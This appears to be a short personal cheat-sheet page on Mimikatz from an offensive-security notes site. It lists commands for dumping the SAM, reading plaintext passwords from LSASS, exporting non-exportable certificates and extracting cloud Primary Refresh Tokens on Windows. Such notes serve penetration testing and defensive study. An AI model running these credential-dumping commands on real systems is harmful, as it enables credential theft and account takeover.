> For the complete documentation index, see [llms.txt](https://notes.m4lwhere.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.m4lwhere.org/offensive/password-attacks/mimikatz.md).

# Mimikatz

Used to interact with the LSASS.exe process to extract secrets from a Windows machine. Requires SYSTEM level access.

```
# Dump the SAM
lsadump::sam

# Read plaintext passwords
sekurlsa::logonpasswords

# Dump certificates store, even those marked as non-exportable
crypto::certificates /systemstore:local_machine

# Gather the Primary Refresh Token (cloud account)
sekurlsa::cloudap
dpapi::cloudapkd

# TODO
Add offline SAM dumps and LSASS extraction
```